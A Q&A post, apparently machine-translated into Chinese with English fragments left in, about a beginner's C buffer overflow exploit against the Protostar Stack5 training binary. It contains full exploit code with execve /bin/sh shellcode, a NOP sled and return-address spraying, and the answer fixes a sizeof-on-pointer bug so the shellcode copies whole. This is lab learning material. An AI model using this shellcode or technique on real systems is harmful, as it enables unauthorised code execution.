简单的缓冲区溢出漏洞利用不起作用

Simple buffer overflow exploit doesn't work

我试图重现 Hacking art of exploitation book. I tried it on the Stack5 exercise in Protostar vm 中用 C 语言编写的第一个缓冲区溢出漏洞利用,但没有成功。当然我适应了它,但我还是个新手所以我不知道我应该修复什么。这是漏洞利用代码:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char *shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";

int main(int argc, char *argv[])
{
    unsigned int i, ret, offset = 0;
    char *command, *buffer;

    command = (char *)malloc(200);
    bzero(command, 200);
    strcpy(command, "echo \'");
    buffer = command + strlen(command);

    if (argc > 1)
    {
        offset = atoi(argv[1]);
    }
    ret = (unsigned int)&i - offset;

    printf("The choosed offset is %d\n", offset);

    for (i = 0; i < 200; i += 4)
    {
        *((unsigned int *)(buffer + i)) = ret;
    }

    memset(buffer, 0x90, 26);
    memcpy(buffer + 26, shellcode, sizeof(shellcode) - 1);

    strcat(command, "\' | /opt/protostar/bin/stack5");

    printf("The command is %s\n", command);
    printf("The buffer is %x\n", buffer);

    system(command);
    return 0;
}

在此之前我尝试了 shellcode 并且它有效,所以这不是问题。

所以我做的第一件事就是启动 gdb 并调试我的代码。

这是调用 bzero 函数后我的 command 变量:

这是用于设置 return 变量的 for 循环之后的 command 变量(我知道地址不正确,但稍后我会修复):

这是我在放置 nop sled 后的 command 变量(到目前为止一切正常):

这是我放入shellcode后的command变量(这里我找不到错误...):

我不知道为什么 shellcode 没有出现在 command 变量中它没有改变任何东西,除了 NOP sled 之后的一些字节。

我做错了什么?

What do I do wrong?

char *shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";
…
    memcpy(buffer + 26, shellcode, sizeof(shellcode) - 1);

只是你把shellcode定义为一个指针,在你的系统上它的大小是4个字节,所以只复制了3个字节;如果您改为定义数组,则会得到正确的大小:

char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";